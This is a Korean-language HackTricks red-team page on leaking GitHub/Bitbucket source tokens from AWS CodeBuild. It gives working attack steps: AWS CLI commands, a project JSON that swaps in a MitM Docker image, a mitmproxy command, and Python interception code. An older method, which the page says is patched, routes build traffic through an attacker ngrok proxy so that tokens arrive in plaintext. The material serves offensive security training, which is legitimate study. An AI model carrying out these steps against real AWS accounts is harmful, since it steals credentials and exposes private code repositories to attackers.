AWS Codebuild - Token Leakage

htARTE (HackTricks AWS Red Team Expert)를 통해 **제로**부터 **히어로**로 AWS 해킹을 배우세요!

HackTricks를 지원하는 다른 방법:

Github/Bitbucket 구성된 토큰 복구

먼저, 누출할 수 있는 소스 자격 증명이 구성되어 있는지 확인하세요:

aws codebuild list-source-credentials

도커 이미지를 통해

만약 권한 부여가 예를 들어 Github에 설정되어 있다면, 프로젝트의 빌드를 실행하기 위해 Codebuild가 특정 도커 이미지를 사용하도록 설정하여 해당 **액세스(GH 토큰 또는 OAuth 토큰)**를 유출할 수 있습니다.

이를 위해 새로운 Codebuild 프로젝트를 생성하거나 기존 프로젝트의 환경을 변경하여 도커 이미지를 설정할 수 있습니다.

사용할 수 있는 도커 이미지는 https://github.com/carlospolop/docker-mitm입니다. 이는 https_proxy, http_proxy, SSL_CERT_FILE 환경 변수를 설정하는 매우 기본적인 도커 이미지입니다. 이를 통해 https_proxy 및 **http_proxy**에 지정된 호스트의 대부분의 트래픽을 가로챌 수 있으며 **SSL_CERT_FILE**에 지정된 SSL CERT를 신뢰할 수 있습니다.

  1. 자체 Docker MitM 이미지 생성 및 업로드

  • 저장소 지침을 따라 프록시 IP 주소를 설정하고 SSL 인증서를 설정하고 도커 이미지를 빌드합니다.

  • 메타데이터 엔드포인트로의 요청을 가로채지 않도록 http_proxy를 설정하지 마십시오.

  • 호스트에 프록시를 설정하기 위해 ngrok tcp 4444와 같은 **ngrok**을 사용할 수 있습니다.

  • 도커 이미지를 빌드한 후, 해당 이미지를 공개 저장소(Dockerhub, ECR...)에 업로드합니다.

  1. 환경 설정

  • 새로운 Codebuild 프로젝트를 생성하거나 기존 프로젝트의 환경을 수정합니다.

  • 프로젝트가 이전에 생성된 도커 이미지를 사용하도록 설정합니다.

  1. 호스트에서 MitM 프록시 설정

  • Github 저장소에서 제안된대로 다음과 같은 것을 사용할 수 있습니다:

mitmproxy --listen-port 4444  --allow-hosts "github.com"

mitmproxy 버전은 9.0.1을 사용했으며, 버전 10에서는 작동하지 않을 수 있다고 보고되었습니다.

  1. 빌드를 실행하고 자격 증명을 캡처합니다

  • Authorization 헤더에서 토큰을 볼 수 있습니다:

이 작업은 aws cli에서도 다음과 같이 수행할 수 있습니다

# Create project using a Github connection
aws codebuild create-project --cli-input-json file:///tmp/buildspec.json

## With /tmp/buildspec.json
{
"name": "my-demo-project",
"source": {
"type": "GITHUB",
"location": "https://github.com/uname/repo",
"buildspec": "buildspec.yml"
},
"artifacts": {
"type": "NO_ARTIFACTS"
},
"environment": {
"type": "LINUX_CONTAINER", // Use "ARM_CONTAINER" to run docker-mitm ARM
"image": "docker.io/carlospolop/docker-mitm:v12",
"computeType": "BUILD_GENERAL1_SMALL",
"imagePullCredentialsType": "CODEBUILD"
}
}

## Json

# Start the build
aws codebuild start-build --project-name my-project2

HTTP 프로토콜을 통해

이 취약점은 2023년 2월 20일 주간 중 어딘가에서 AWS에 의해 수정되었습니다 (아마도 금요일에). 따라서 공격자는 더 이상 악용할 수 없습니다 :)

CodeBuild에서 권한이 상승된 공격자는 구성된 Github/Bitbucket 토큰을 유출할 수 있거나 권한이 OAuth를 통해 구성된 경우 코드에 액세스하는 데 사용된 임시 OAuth 토큰을 유출할 수 있습니다.

  • 공격자는 CodeBuild 프로젝트에 환경 변수 http_proxyhttps_proxy를 추가하여 자신의 기기를 가리키도록 할 수 있습니다 (예: http://5.tcp.eu.ngrok.io:14972).

  • 그런 다음, github 리포지토리의 URL을 HTTPS 대신 HTTP를 사용하도록 변경할 수 있습니다. 예를 들어: **http://**github.com/carlospolop-forks/TestActions

  • 그런 다음, 프록시 변수 (http_proxy 및 https_proxy)가 가리키는 포트에서 https://github.com/synchronizing/mitm의 기본 예제를 실행합니다.

from mitm import MITM, protocol, middleware, crypto

mitm = MITM(
host="127.0.0.1",
port=4444,
protocols=[protocol.HTTP],
middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
  • 마지막으로 프로젝트 빌드를 클릭하면 자격 증명이 mitm 포트로 평문으로 전송됩니다 (base64):

이제 공격자는 자신의 기기에서 토큰을 사용하여 모든 권한을 나열하고 CodeBuild 서비스를 직접 사용하는 것보다 쉽게 (남용)할 수 있습니다.

htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배우세요!

HackTricks를 지원하는 다른 방법:

最終更新